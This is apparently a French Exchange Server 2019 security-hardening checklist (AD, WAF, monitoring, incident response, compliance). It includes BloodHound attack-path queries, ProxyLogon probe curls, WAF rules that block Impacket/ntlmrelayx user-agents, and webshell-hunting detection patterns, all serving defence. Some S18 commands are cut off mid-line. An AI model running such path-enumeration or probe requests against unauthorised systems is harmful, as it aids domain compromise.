EX-S12-C008	Bloquer les macros Office dans les PJ via règles de transport (.xlsm, .docm, .pptm)	🟠 HAUTE	MITRE ATT&CK T1566.001 (Spearphishing + macro)	`Get-TransportRule | Where {$_.AttachmentExtensionMatchesWords -contains '.xlsm'}` → règle active	Créer la règle de blocage (voir contexte)

Section S13 — Hardening Active Directory lié à Exchange

Contexte

Exchange est l'application qui s'intègre le plus profondément dans Active Directory parmi tous les produits Microsoft : il étend le schéma AD lors de l'installation (ajout de ~4700 nouveaux attributs), crée des groupes AD spécifiques avec des droits étendus, et ses comptes machine disposent de permissions inhabituelles sur la partition de domaine. Cette intégration crée une **relation bidirectionnelle de confiance dangereuse** :

AD → Exchange : Compromettre un compte Domain Admin donne un accès total à Exchange (toutes les boîtes mail, toute la configuration).

Exchange → AD : Compromettre Exchange peut mener au contrôle de l'AD — via PrivExchange (WriteDacl DCSync), via l'extraction de credentials depuis la mémoire Exchange (w3wp.exe stocke des credentials NTLM), ou via les certificats ADCS accessibles depuis Exchange.

Groupes AD créés par Exchange et leurs risques :

Groupe AD Exchange	Membres	Droits AD	Risque
Exchange Trusted Subsystem	Compte machine Exchange	WriteDacl sur l'objet domaine	CRITIQUE — PrivExchange
Exchange Servers	Comptes machine Exchange	Lecture de certains attributs AD	Moyen
Exchange Windows Permissions	Exchange Trusted Subsystem	WriteDacl sur les OU de mailbox	Élevé
Organization Management	Admins Exchange	Droits Exchange complets + certains droits AD	Élevé

BloodHound — Identification des chemins d'attaque Exchange → Domain Admin :

```
// Requête Cypher BloodHound : Exchange → Domain Admin en moins de 3 sauts
MATCH p=shortestPath(
    (n:Computer {name:'EXCH01.CORP.LOCAL'})-[*1..3]->(m:Group {name:'DOMAIN ADMINS@CORP.LOCAL'})
)
RETURN p

// Requête : Qui peut écrire sur l'objet domaine via Exchange ?
MATCH (n)-[r:WriteDacl|GenericAll|GenericWrite]->(d:Domain)
WHERE n.name =~ '.*EXCHANGE.*' OR n.name =~ '.*EXCH.*'
RETURN n.name, type(r), d.name

// Requête : Chemins depuis Exchange vers DCSync
MATCH p=(n:Computer {name:'EXCH01.CORP.LOCAL'})-[*1..5]->(m:User {name:'KRBTGT@CORP.LOCAL'})
RETURN p LIMIT 10
```

Contrôles

ID	Contrôle	Priorité	Source / Technique	Commande de Vérification	Remédiation
EX-S13-C001	Vérifier et supprimer les ACE WriteDacl/ GenericAll d'Exchange sur la partition de domaine AD	🔴 CRITIQUE	PrivExchange CVE-2019-0686, BloodHound	`(Get-Acl 'AD:\DC=corp,DC=local').Access | Where {$_.IdentityReference -like '*Exchange*' -and ($_.ActiveDirectoryRights -like '*WriteDacl*' -or $_.ActiveDirectoryRights -like '*GenericAll*')}`	Utiliser ADACLScanner pour identifier puis `Remove-ADPermission` pour supprimer les ACE Exchange dangereuses sur l'objet domaine
EX-S13-C002	Isoler les serveurs Exchange dans le Tier 1 du modèle de tiering AD (séparé Tier 0 = DC, Tier 2 = postes)	🔴 CRITIQUE	ANSSI Guide AD Sécurité, MS Tiering Model	Vérifier les GPO de tiering : les admins Exchange (Tier 1) ne peuvent pas s'authentifier sur les DC (Tier 0)	Implémenter les GPO de tiering : `Authentication Policies` + `Authentication Silos` ou GPO Restricted Groups

ID	Contrôle	Priorité	Source / Technique	Commande de Vérification	Remédiation
EX-S13-C003	Auditer les groupes AD créés par Exchange (membres, droits, dernière modification)	🟠 HAUTE	Exchange AD Groups Docs	`Get-ADGroup -Filter {Name -like 'Exchange*'} | ForEach {Get-ADGroupMember $_ -Recursive} | Select Name,ObjectClass,DistinguishedName`	Nettoyer les membres obsolètes + documenter les membres légitimes attendus
EX-S13-C004	Vérifier qu'Exchange Trusted Subsystem n'est pas membre de groupes AD à hauts privilèges	🔴 CRITIQUE	Exchange Permission Model	`Get-ADPrincipalGroupMembership 'Exchange Trusted Subsystem' | Select Name,GroupScope` → ne doit pas contenir `Domain Admins`, `Enterprise Admins`, `Schema Admins`	Retirer Exchange Trusted Subsystem de tout groupe privilégié AD
EX-S13-C005	Appliquer le modèle de délégation minimale Exchange (réduire les ms-Exch-* ACEs aux seuls nécessaires)	🟠 HAUTE	Exchange Fine-Grained Delegation	Exécuter ADACLScanner sur les OU Exchange et comparer avec le modèle de référence Microsoft	Utiliser `Remove-ADPermission` pour supprimer les ACE Exchange superflues identifiées par ADACLScanner
EX-S13-C006	Restreindre l'accès RDP/ console depuis les serveurs Exchange vers les DC (règle GPO + firewall)	🟠 HAUTE	MS Tiering, ANSSI AD Security	Test : tenter `Enter-PSSession -ComputerName dc01.corp.local` depuis EXCH01 → doit échouer pour les comptes Exchange	GPO + Windows Firewall : bloquer les connexions sortantes d'EXCH01 vers les DC sur les ports admin (3389, 5985, 445)
EX-S13-C007	Activer Microsoft Defender for Identity (MDI) avec un capteur sur Exchange et les DC	🟠 HAUTE	MDI Docs, MITRE ATT&CK Detection	Vérifier le service MDI sur Exchange : `Get-Service 'AATPSensor'` → Running	Déployer l'agent MDI sur les serveurs Exchange + configurer les alertes (PtH, PtT, DCSync, PrivExchange)

ID	Contrôle	Priorité	Source / Technique	Commande de Vérification	Remédiation
EX-S13-C008	Analyser les chemins d'attaque Exchange → Domain Admin avec BloodHound (audit trimestriel)	🟠 HAUTE	BloodHound Community Edition, SharpHound	`SharpHound.exe --CollectionMethods All --ZipFileName exchange-bloodhound.zip` puis analyser dans BloodHound	Exécuter les requêtes Cypher BloodHound Exchange (voir contexte) + remédier aux chemins identifiés
EX-S13-C009	Séparer les comptes mail des admins AD (les Domain Admins ne doivent pas avoir de boîte mail active)	🟠 HAUTE	AD Admin Account Hygiene	`Get-ADGroupMember 'Domain Admins' | ForEach {Get-Mailbox $_.SamAccountName -ErrorAction SilentlyContinue}` → vide	Désactiver les boîtes mail des comptes Domain Admins ; créer des comptes utilisateur distincts pour la messagerie
EX-S13-C010	Monitorer les modifications des ACE Exchange dans l'AD (Event ID 4662 avec accès Write Property sur domaine)	🟠 HAUTE	Windows Security Audit — Object Access	`Get-WinEvent -FilterHashtable @{LogName='Security';Id=4662} | Where {$_.Message -like '*WriteDacl*' -or $_.Message -like '*GenericAll*'}`	Activer l'audit d'accès objet AD sur l'objet domaine + forwarding vers SIEM

Section S14 — WAF, Reverse Proxy et Sécurité Périmétrique

Contexte

Exchange Server 2019 ne doit jamais être exposé directement à Internet sans couche de protection applicative intermédiaire. L'exposition directe d'IIS Exchange sur Internet a permis l'exploitation de ProxyLogon, ProxyShell et ProxyNotShell par de simples requêtes HTTP malformées, sans authentification préalable dans certains cas.

Architecture recommandée de publication Exchange :

```
Internet (HTTPS :443)
       │
       ▼
[DNS : mail.domain.com → WAF IP]
       │
       ▼
[WAF / Reverse Proxy]                    ← couche 1 : filtrage applicatif
   • OWASP CRS (règles génériques)
   • Règles Exchange spécifiques
   • Rate limiting auth endpoints
   • Géoblocking
   • Blocage User-Agents suspects
       │ (TLS Passthrough recommandé pour EPA)
       ▼
[Load Balancer Layer 4]                  ← couche 2 : disponibilité
   • Health checks Exchange
   • Session persistence (si requis)
       │
       ▼
[Exchange Server 2019 Frontend (IIS)]    ← couche 3 : application
   • EPA Require
   • Authentification Windows/OAuth
   • IP Restriction ECP
```

Règles WAF Exchange spécifiques (nginx/OWASP ModSecurity) :

```
# nginx — Blocage patterns ProxyLogon
location ~* /autodiscover/ {
    # Bloquer les tentatives ProxyLogon via Autodiscover
    if ($http_x_beresource ~* "(0x0|0x1|0x2|0x3|%7c)") {
        return 403;
    }
    proxy_pass https://exchange-backend;
}

# Rate limiting sur l'endpoint d'authentification OWA
limit_req_zone $binary_remote_addr zone=owa_auth:10m rate=5r/m;
location = /owa/auth.owa {
    limit_req zone=owa_auth burst=10 nodelay;
    proxy_pass https://exchange-backend;
}

# Blocage User-Agents Impacket/ntlmrelayx sur EWS et MAPI
location ~* /EWS/ {
    if ($http_user_agent ~* "(python-impacket|impacket|ntlmrelayx|python-requests/2\.)") {
        return 403;
    }
    proxy_pass https://exchange-backend;
}

# Bloquer l'accès ECP depuis l'extérieur (réservé aux IPs admin)
location ~* /ecp/ {
    allow 10.0.100.0/24;  # IP admin uniquement
    deny all;
    proxy_pass https://exchange-backend;
}
```

Microsoft Application Proxy (Entra ID) :

Pour les organisations utilisant Azure AD, le Microsoft Application Proxy permet de publier Exchange de manière sécurisée sans ouvrir de ports entrants depuis Internet — le connecteur Application Proxy établit une connexion sortante vers Azure AD. Cela ajoute un layer d'authentification pre-auth (Azure AD Conditional Access) avant même d'atteindre Exchange.

```
# Vérifier si Application Proxy est configuré pour Exchange
# (via le portail Azure AD : Enterprise Applications → Application Proxy)
Get-AzureADApplication | Where {$_.DisplayName -like '*Exchange*' -or $_.DisplayName -like '*OWA*'} |
    Select DisplayName,AppId,ReplyUrls
```

Contrôles

ID	Contrôle	Priorité	Source	Commande de Vérification	Remédiation
EX-S14-C001	Déployer un WAF devant OWA, ECP, EWS avec OWASP CRS et règles Exchange spécifiques	🔴 CRITIQUE	OWASP ModSecurity CRS, Exchange Security	Test WAF : `curl -H "X-BEResource: evil" https://mail.domain.com/owa/` → 403	Déployer nginx + ModSecurity avec CRS 3.3+ + règles Exchange custom
EX-S14-C002	Configurer des règles WAF pour bloquer les patterns ProxyLogon (headers X-BEResource, X-Rps-CAT suspects)	🔴 CRITIQUE	ProxyLogon IOC, CVE-2021-26855	`curl -k https://mail.domain.com/owa/auth.owa -H "Cookie: X-BEResource=0x0"` → 403	Règles ModSecurity/nginx bloquant les headers ProxyLogon (voir contexte)
EX-S14-C003	Bloquer l'accès direct externe à /ecp/ via WAF ou restriction IIS	🔴 CRITIQUE	ProxyLogon ECP vector, Exchange Admin	`curl -k https://mail.domain.com/ecp/` depuis IP externe → 403 (pas 302/200)	WAF rule : `DENY /ecp/ pour toutes IPs hors plage admin` ou IIS IP Restriction
EX-S14-C004	Implémenter du rate limiting sur /owa/auth.owa (≤ 5 req/min par IP pour l'endpoint d'auth)	🟠 HAUTE	Anti-brute force OWA, MITRE T1110	Test : > 10 tentatives auth en 1 minute depuis une IP → blocage temporaire	nginx : `limit_req_zone` sur /owa/auth.owa ; ajuster selon le comportement légitime observé
EX-S14-C005	Bloquer les User-Agents Impacket, Python-Requests et autres frameworks de pentest sur EWS et MAPI	🟠 HAUTE	NTLMRelayX detection, Blue Team	Test : `curl -A "python-impacket" https://mail.domain.com/EWS/` → 403	WAF/nginx rule sur User-Agent pour /EWS/, /mapi/, /powershell/
EX-S14-C006	Forcer HTTPS uniquement (redirection HTTP 301 → HTTPS) sur tous les VD Exchange et WAF	🔴 CRITIQUE	Exchange TLS, HSTS	`curl -I http://mail.domain.com/owa/` → 301 vers https://	`Set-OwaVirtualDirectory -InternalUrl 'https://...' -ExternalUrl 'https://...'` + redirect HTTP→HTTPS dans WAF
EX-S14-C007	Segmenter Exchange dans un sous-réseau DMZ dédié (pas d'accès direct Internet → réseau Exchange backend)	🟠 HAUTE	Network Segmentation, Defense in Depth	Vérifier la topologie réseau : WAF/LB dans DMZ, Exchange dans réseau interne, communications limitées aux ports nécessaires	Implémenter via VLAN/VXLAN + ACL firewall périmétrique entre DMZ et réseau Exchange

ID	Contrôle	Priorité	Source	Commande de Vérification	Remédiation
EX-S14-C008	Configurer le géoblocking sur OWA/ECP si l'organisation n'a pas d'utilisateurs dans certaines régions	🟡 MOYENNE	WAF Geo-restriction, Threat Intelligence	Log WAF : origine géographique des tentatives d'auth → bloquer les régions sans utilisateurs légitimes	Cloudflare/nginx géoblocking MaxMind : bloquer les CC (country codes) sans activité légitime historique
EX-S14-C009	Publier Exchange via Microsoft Entra Application Proxy (pre-auth Azure AD) si infrastructure Azure disponible	🟠 HAUTE	MS Application Proxy Docs, Zero Trust	Vérifier la configuration Application Proxy dans Entra ID pour l'application Exchange	Déployer le connecteur Application Proxy sur réseau Exchange + configurer les external URL
EX-S14-C010	Activer HSTS (max-age ≥ 31536000, includeSubDomains) sur le WAF/reverse proxy pour les domaines Exchange	🟡 MOYENNE	OWASP HSTS, NIST SP 800-52r2	`curl -I https://mail.domain.com/owa/` → `Strict-Transport-Security: max-age=31536000; includeSubDomains`	Ajouter header HSTS dans la configuration WAF/nginx

---

Section S15 — Monitoring et Supervision Exchange

Contexte

Un Exchange mal monitoré est un Exchange compromis qu'on ne découvrira que des semaines ou des mois après l'incident — voire jamais. La détection précoce des attaques contre Exchange repose sur trois couches de monitoring complémentaires : la **disponibilité** (est-ce que les services fonctionnent ?), la **sécurité** (est-ce qu'une attaque est en cours ?) et la **conformité** (est-ce que les configurations restent dans les normes ?).

Stack de monitoring recommandé pour Exchange :

```
# Test de connectivité Exchange (à inclure dans un script de monitoring)
function Test-ExchangeHealth {
    param([string]$Server = $env:COMPUTERNAME)

    $results = @{}

    # OWA
    try {
        $r = Invoke-WebRequest -Uri "https://$Server/owa/auth/logon.aspx" -UseBasicParsing -TimeoutSec 10
        $results['OWA'] = if ($r.StatusCode -eq 200) { "✅ OK" } else { "⚠️ $($r.StatusCode)" }
    } catch { $results['OWA'] = "❌ Erreur : $_" }

    # EWS
    try {
        $r = Invoke-WebRequest -Uri "https://$Server/EWS/Exchange.asmx" -UseBasicParsing -TimeoutSec 10
        $results['EWS'] = if ($r.StatusCode -eq 401) { "✅ OK (auth requis)" } else { "⚠️ $($r.StatusCode)" }
    } catch { $results['EWS'] = "❌ Erreur : $_" }

    # SMTP
    $smtp = Test-NetConnection -ComputerName $Server -Port 25
    $results['SMTP'] = if ($smtp.TcpTestSucceeded) { "✅ OK" } else { "❌ Port 25 fermé" }

    # Certificate expiry
    $cert = Get-ExchangeCertificate -Server $Server | Where {$_.Services -match 'IIS'} |
        Sort NotAfter | Select -First 1
    $daysLeft = ($cert.NotAfter - (Get-Date)).Days
    $results['Certificate'] = if ($daysLeft -gt 30) { "✅ Expire dans $daysLeft jours" } elseif ($daysLeft -gt 0)
{ "⚠️ Expire dans $daysLeft jours" } else { "❌ EXPIRÉ" }

    # Queue health
    $queue = Get-Queue -Server $Server | Where {$_.MessageCount -gt 100}
    $results['Queue'] = if ($queue) { "⚠️ Queue : $($queue.MessageCount) messages en attente" } else { "✅ OK" }

    return $results
}

# Exécuter le test
Test-ExchangeHealth -Server "EXCH01" | Format-Table
```

Alertes SIEM Exchange — Tableau de référence :

Alerte	Source	Seuil	Urgence
Brute force OWA	IIS log + Event 4625	> 50 échecs/5min/IP	Haute
Export boîte mail	Admin Audit Log	1 occurrence	Critique
Règle redirection externe	Admin/Mailbox Audit	1 occurrence	Critique
Webshell détecté (MSERT)	MSERT scan	1 détection	Critique
Cert Exchange expirant	Exchange cert check	< 30 jours	Haute
RRSIG expiration (si DANE)	DNS monitoring	< 14 jours	Haute
DS parent incohérent	DNS monitoring	1 occurrence	Haute
Queue SMTP saturée	Exchange queue	> 100 messages	Moyenne
SERVFAIL DNSSEC > 0.1%	DNS resolver	Ratio > 0.1%	Haute

Contrôles

ID	Contrôle	Priorité	Source	Commande de Vérification	Remédiation
EX-S15-C001	Monitoring de la disponibilité des services Exchange en temps réel (OWA, MAPI, EWS, SMTP)	🔴 CRITIQUE	Exchange Monitoring Best Practices	`Test-OwaConnectivity -MailboxCredential (Get-Credential) -TrustAnySSLCertificate` ; `Test-MapiConnectivity -Server EXCH01`	Planifier les tests Exchange en tâche planifiée toutes les 5 minutes + alertes si échec
EX-S15-C002	Alertes SIEM sur les tentatives de brute force OWA (> 50 échecs auth/5 min par IP source)	🔴 CRITIQUE	MITRE ATT&CK T1110 (Brute Force)	Vérifier règle SIEM active + test de déclenchement	Implémenter la règle Splunk/Sentinel de détection brute force OWA
EX-S15-C003	Monitoring de l'expiration des certificats Exchange avec alertes J-30, J-14, J-7	🔴 CRITIQUE	Exchange Certificate Management	`Get-ExchangeCertificate | Where {$_.NotAfter -lt (Get-Date).AddDays(30)} | Select Subject,NotAfter,Services`	Script PowerShell de monitoring certif Exchange + alertes email/SMS automatiques
EX-S15-C004	Monitoring de la taille des queues de transport Exchange	🟠 HAUTE	Exchange Transport Health	`Get-Queue -Server EXCH01 | Select Identity,Status,MessageCount | Where MessageCount -gt 100`	Alerte si `MessageCount > 100` sur une queue non-Poison → investigation de la cause
EX-S15-C005	Alertes immédiates sur les règles de redirection externe créées par n'importe quel utilisateur	🔴 CRITIQUE	MITRE ATT&CK T1114.003 (Email Forwarding Rule)	Vérifier règle SIEM sur Admin Audit Log + Mailbox Audit Log → `New-InboxRule` avec domaine externe	Alerte email/SMS immédiate + désactivation automatique de la règle suspecte
EX-S15-C006	Monitoring des accès EWS programmatiques volumineux (volume > 100 req/min par IP, user-agent suspect)	🟠 HAUTE	MITRE ATT&CK T1114.002 (Email Collection)	Règle SIEM IIS : cs_uri_stem LIKE '/EWS/%' + count > 100/5min par c_ip	Rate limiting WAF + alerte SIEM sur accès EWS anormal
EX-S15-C007	Alertes immédiates sur toute création de New-MailboxExportRequest en production	🔴 CRITIQUE	MITRE ATT&CK T1114.002, RGPD	Vérifier règle SIEM sur Admin Audit Log → cmdlet `New-MailboxExportRequest`	Alerte critique immédiate + blocage si hors processus approuvé
EX-S15-C008	Monitoring de la réplication DAG et de l'état des copies de bases de données	🟠 HAUTE	Exchange DAG Health	`Get-MailboxDatabaseCopyStatus * | Where Status -ne 'Healthy' | Select Name,Status,ContentIndexState`	Alerte si `Status = Failed` ou `ContentIndexState = FailedAndSuspended`
EX-S15-C009	Dashboard Exchange temps-réel (CPU, mémoire, IOPS, latence RPC, queue count)	🟡 MOYENNE	Exchange Performance Counters	Vérifier présence d'un dashboard Grafana/SCOM Exchange avec les métriques clés	Déployer le dashboard Exchange (Grafana + Windows Exporter + PerfMon counters Exchange)

ID	Contrôle	Priorité	Source	Commande de Vérification	Remédiation
EX-S15-C010	Test mensuel des alertes Exchange (fire drill : déclencher chaque type d'alerte et vérifier réception)	🟡 MOYENNE	Security Operations Best Practices	PV de test mensuel des alertes Exchange dans le SIEM	Planifier un drill mensuel : simuler brute force OWA, créer une règle de redirection de test, etc.

Section S16 — Réponse aux Incidents Exchange

Contexte

Un incident Exchange peut être de plusieurs natures avec des impacts et des procédures de remédiation différents. La préparation pre-incident est la clé : une organisation qui n'a pas de playbook Exchange aura besoin de 5-10× plus de temps pour investiguer et remédier qu'une organisation préparée.

Indicateurs de Compromission Exchange (IOC) — Référence CISA/MSTIC :

IOC	Description	Technique de détection
Fichiers .aspx dans /owa/auth/	Webshell ProxyLogon	`Get-ChildItem "$env:ExchangeInstallPath\Frontend\HttpProxy\owa\auth\" -Filter "*.aspx"`
Process w3wp.exe avec child process cmd.exe	Exploitation Exchange	Event ID 4688 : ParentProcessName = w3wp.exe + ProcessName = cmd.exe
Requêtes POST vers /owa/auth/*.aspx	Exécution webshell	Logs IIS : cs_method=POST, cs_uri_stem LIKE '/owa/auth/%.aspx'
Connexions depuis Exchange vers IP externes sur port 4444/8080	C2 callback post-exploit	Logs firewall : srcIP=Exchange, dstPort=4444
Nouvelles règles Inbox avec ForwardTo externe	Persistance via règle mail	Admin Audit Log + Mailbox Audit Log
New-MailboxExportRequest non planifié	Exfiltration de données	Admin Audit Log

Script de hunting Post-ProxyLogon (CISA) :

```
# Script d'investigation Exchange — adapté de l'advisory CISA AA21-062A
# Exécuter sur le serveur Exchange suspect

# 1. Rechercher des webshells dans les répertoires Exchange web
$webShellPaths = @(
    "$env:ExchangeInstallPath\Frontend\HttpProxy\owa\auth",
    "$env:ExchangeInstallPath\Frontend\HttpProxy\ecp",
    "C:\inetpub\wwwroot\aspnet_client"
)
foreach ($path in $webShellPaths) {
    if (Test-Path $path) {
        Get-ChildItem -Path $path -Include "*.aspx","*.ashx","*.asmx" -Recurse |
            Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-90) } |
            Select FullName,LastWriteTime,Length |
            ForEach-Object {
                $content = Get-Content $_.FullName -Raw -ErrorAction SilentlyContinue
                if ($content -match "eval\(|exec\(|shell\(|cmd\.exe|powershell") {
                    Write-Host "⚠️ WEBSHELL POTENTIEL : $($_.FullName)" -ForegroundColor Red
                    Write-Host "  Créé : $($_.LastWriteTime)"
                }
            }
    }
}

# 2. Rechercher les processus suspects (child processes de w3wp.exe)
Get-WmiObject Win32_Process | Where-Object {
    $_.ParentProcessId -in (Get-Process w3wp -ErrorAction SilentlyContinue).Id
} | Select Name,ProcessId,CommandLine | Format-Table -AutoSize

# 3. Analyser les logs IIS pour les patterns ProxyLogon
$iisLogs = Get-ChildItem "C:\inetpub\logs\LogFiles\" -Recurse -Filter "*.log" |
    Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-30) }
foreach ($log in $iisLogs) {
    Select-String -Path $log.FullName -Pattern "(autodiscover\.json|X-BEResource|X-Rps-CAT|\.aspx.*cmd=|
\.aspx.*exec=)" |
        Select-Object LineNumber,Line,Filename |
        Where-Object { $_.Line -notmatch "^#" }
}
```

Contrôles

ID	Contrôle	Priorité	Source	Commande de Vérification	Procédure
EX-S16-C001	Procédure documentée de détection et suppression d'un webshell Exchange (hunting script CISA)	🔴 CRITIQUE	CISA Advisory AA21-062A, MS DART	Script CISA de détection webshell Exchange exécuté mensuellement (voir contexte)	En cas de webshell détecté : isoler le serveur, capturer la mémoire (WinPMEM), supprimer le webshell, analyser les logs IIS des 30 derniers jours
EX-S16-C002	Procédure documentée d'isolation d'un serveur Exchange compromis (network quarantine + forensic)	🔴 CRITIQUE	IR Playbook Exchange, NIST SP 800-61	Vérifier existence du runbook d'isolation Exchange	Runbook : 1/ Isoler NIC (désactiver dans Device Manager), 2/ Capturer mémoire, 3/ Snapshot disque, 4/ Analyser offline

ID	Contrôle	Priorité	Source	Commande de Vérification	Procédure
EX-S16-C003	Procédure documentée de rotation des secrets Exchange post-compromission (mdp service, certificats, OAuth keys)	🔴 CRITIQUE	Exchange Recovery Guide	Vérifier existence de la checklist de rotation Exchange	Checklist rotation : mdp ExchService$, certificats TLS, clés OAuth Exchange (`New-ExchangeCertificate`), réinitialisation mdp utilisateurs affectés
EX-S16-C004	Procédure documentée d'analyse forensique des logs IIS Exchange (ProxyLogon, webshell, exfiltration)	🔴 CRITIQUE	CISA IOC Hunting, MSTIC	Vérifier le guide d'analyse logs Exchange dans le CSIRT playbook	Outils d'analyse : grep/ PowerShell sur logs IIS, Timeline Explorer (Eric Zimmermann), EZ Tools Exchange log parser
EX-S16-C005	Runbook de restauration Exchange depuis backup testé semestriellement (RTO ≤ 4h, RPO ≤ 1h)	🔴 CRITIQUE	BCP/DRP Exchange	Résultats du dernier test de restauration Exchange (date, durée, succès/ échec)	Tester la restauration complète d'Exchange depuis backup DPM/Veeam : base de données + config + certificats
EX-S16-C006	Contact Microsoft DART (Detection and Response Team) documenté avec numéro de support Premier	🟠 HAUTE	Microsoft DART Docs	Vérifier que le numéro Microsoft Premier/DART est documenté dans le CSIRT playbook	Contrat Microsoft Premier Support requis pour accès DART ; documenter dans le runbook incident Exchange
EX-S16-C007	Playbook de chasse aux IOC ProxyLogon, ProxyShell, ProxyNotShell disponible et testé	🔴 CRITIQUE	CISA Advisory AA21-062A, Microsoft MSTIC	Vérifier existence et dernière mise à jour du playbook Exchange IOC	Inclure les requêtes Splunk/ KQL de chasse aux IOC Exchange dans le CSIRT playbook ; révision trimestrielle
EX-S16-C008	Simulation annuelle d'incident Exchange (tabletop exercise incluant NTLM relay + exfiltration EWS)	🟠 HAUTE	NIST SP 800-61, ENISA IRP Guide	PV de la dernière simulation d'incident Exchange (date, participants, gaps identifiés)	Organiser un tabletop annuel : scénario = "Exchange compromis via NTLM relay → exfiltration 50 boîtes mail → comment répondre ?"

Section S17 — Conformité NIS 2, RGPD et DORA

Contexte

Exchange Server 2019 est souvent dans le périmètre des obligations réglementaires pour les organisations concernées par NIS 2, RGPD et DORA. La messagerie électronique héberge des données personnelles (emails de salariés, clients, partenaires) et des données sensibles (contrats, données financières, données de santé). Une compromission Exchange est donc un incident à déclarer sous NIS 2 (Art.23) et RGPD (Art.33).

Obligations NIS 2 Article 21 spécifiques à Exchange :

Mesure NIS 2 Art.21	Application à Exchange	Contrôle ANC
§2.a — Politiques de sécurité	Politique de sécurité Exchange documentée	EX-S01, EX-S18
§2.b — Gestion des incidents	IR Playbook Exchange, notification ANSSI	EX-S16
§2.c — Continuité d'activité	BCP Exchange, RTO/RPO définis et testés	EX-S16-C005
§2.d — Sécurité de la chaîne d'approvisionnement	Sécurité des intégrations Exchange tierces	EX-S18-C007
§2.e — Acquisition/développement	SU Exchange appliquées dans les délais	EX-S11
§2.g — Formation	Formation équipe Exchange sur EPA, NTLMRelay	EX-S18-C006
§2.h — Cryptographie	TLS 1.2+, chiffrement backups, BitLocker	EX-S02, EX-S17-C002
§2.j — Contrôle d'accès	MFA, RBAC, PAW pour admins Exchange	EX-S05, EX-S06, EX-S07, EX-S08-C005

Contrôles

ID	Contrôle	Priorité	Source	Commande de Vérification	Remédiation
EX-S17-C001	Inclure Exchange dans le périmètre NIS 2 (MFA, chiffrement, supervision, SU à jour comme mesures Art.21)	🔴 CRITIQUE	NIS 2 Art.21 §2 (UE) 2022/2555	Audit NIS 2 Exchange : vérifier MFA OWA ✅, TLS 1.2+ ✅, SIEM actif ✅, SU < 30 jours ✅	Définir Exchange comme composant critique dans le périmètre NIS 2 de l'organisation
EX-S17-C002	Activer le chiffrement des volumes Exchange au repos (BitLocker AES-256 sur tous les volumes Exchange)	🟠 HAUTE	NIS 2 Art.21 §2.h, RGPD Art.32 §1.a	`manage-bde -status C: D: E:` sur EXCH01 → `Protection Status: Protection On`	Activer BitLocker via GPO `BitLocker Drive Encryption` sur tous les volumes Exchange (OS, data, logs)
EX-S17-C003	Activer le chiffrement des sauvegardes Exchange (backup AES-256 au repos et en transit)	🟠 HAUTE	RGPD Art.32, NIS 2 Art.21 §2.h	Vérifier la politique de chiffrement DPM/ Veeam : `Get-DPMPolicyObjective` ou console Veeam	Configurer le chiffrement AES-256 dans DPM/Veeam pour les backups Exchange

ID	Contrôle	Priorité	Source	Commande de Vérification	Remédiation
EX-S17-C004	Procédure RGPD : traitement des demandes de droit à l'effacement et à la portabilité pour boîtes mail	🟠 HAUTE	RGPD Art.17 (droit à l'effacement), Art.20 (portabilité)	Vérifier existence de la procédure DSR Exchange : document de procédure + délai de traitement (< 30 jours)	Procédure : `Search-Mailbox -DeleteContent` (effacement), `New-MailboxExportRequest` (export PST) avec workflow juridique
EX-S17-C005	Vérifier l'existence d'un DPA (Data Processing Agreement) avec Microsoft pour Exchange Server (support, télémétrie)	🟡 MOYENNE	RGPD Art.28 (sous-traitant)	Vérifier que le DPA Microsoft est signé et à jour	Télécharger et signer le DPA Microsoft depuis le portail Microsoft Products and Services DPA
EX-S17-C006	Inclure Exchange dans la cartographie des actifs ICT critiques requise par DORA (Art.8)	🟠 HAUTE	DORA (UE) 2022/2554 Art.8	Vérifier l'inclusion d'Exchange dans le registre ICT DORA de l'organisation	Ajouter Exchange dans le registre ICT : criticité, fournisseur (Microsoft), dépendances, SLA
EX-S17-C007	Réaliser un audit de sécurité Exchange annuel documenté (rapport, preuves, plan de remédiation daté)	🟠 HAUTE	NIS 2 Art.21, ISO 27001 A.18.2.1	Vérifier l'existence du rapport d'audit Exchange de l'année courante	Planifier l'audit Exchange annuel : périmètre, méthodologie (basée sur cette checklist), reporting
EX-S17-C008	Procédure de notification d'incident Exchange dans les délais NIS 2 (24h early warning, 72h rapport initial)	🔴 CRITIQUE	NIS 2 Art.23 (Notification des incidents)	Vérifier existence de la procédure de notification + contacts ANSSI documentés	Procédure : dès détection incident significatif Exchange → early warning ANSSI < 24h → rapport initial < 72h → rapport final < 1 mois

Section S18 — Sécurité Opérationnelle Exchange

Contrôles

ID	Contrôle	Priorité	Source	Commande de Vérification
EX-S18-C001	Utiliser un PAW (Privileged Access Workstation) dédié pour toute administration Exchange (EMS, ECP, EAC)	🔴 CRITIQUE	MS PAW Docs, AD Tiering Model	Vérifier que les connexions EMS et ECP proviennent exclusivement d'IPs PA
EX-S18-C002	MFA obligatoire pour tous les comptes d'administration Exchange (ADFS MFA, Azure MFA, ou FIDO2)	🔴 CRITIQUE	CIS Exchange, NIS 2 Art.21 §2.j	Tester la connexion ECP avec un compte admin → challenge MFA apparaît
EX-S18-C003	Rotation trimestrielle des mots de passe des comptes de service Exchange (min. 25 chars aléatoires)	🟠 HAUTE	CIS Benchmark, Exchange Security	`Get-ADUser ExchService -Properties PasswordLastSet | Select Passw` 90 jours
EX-S18-C004	Environnement Exchange staging complet (même CU que prod) pour tester les SU et configurations avant déploiement	🟠 HAUTE	Exchange Change Management	Vérifier existence d'un serveur Exchange lab/staging avec CU identique à la
EX-S18-C005	Processus de Change Management formel pour toutes les modifications Exchange (SU, config, RBAC)	🟠 HAUTE	ITIL v4, Exchange Operations Best Practices	Vérifier existence d'un ticket de changement Exchange pour les dernières r

ID	Contrôle	Priorité	Source	Commande de Vérification
EX-S18-C006	Formation équipe Exchange : EPA, NTLM relay, ProxyLogon/Shell/NotShell, réponse incidents (≥ 8h/an)	🟠 HAUTE	NIS 2 Art.21 §2.g (formation)	Plan de formation annuel Exchange Security : contenu, dates, participants
EX-S18-C007	Inventaire et évaluation des agents Exchange tiers installés (anti-spam legacy, journaling, DLP, archivage)	🟡 MOYENNE	Exchange Attack Surface	`Get-TransportAgent | Select Name,Enabled,TransportAgentFactory,As`
EX-S18-C008	Vérifier et durcir les permissions des répertoires IIS Exchange (pas de Write pour IIS_IUSRS ou Everyone)	🟠 HAUTE	Exchange IIS Hardening	`(Get-Acl "$env:ExchangeInstallPath\Frontend\HttpProxy").Access \| {$_.IdentityReference -like '*IIS_IUSRS*' -and $_.FileSystemRights` → vide
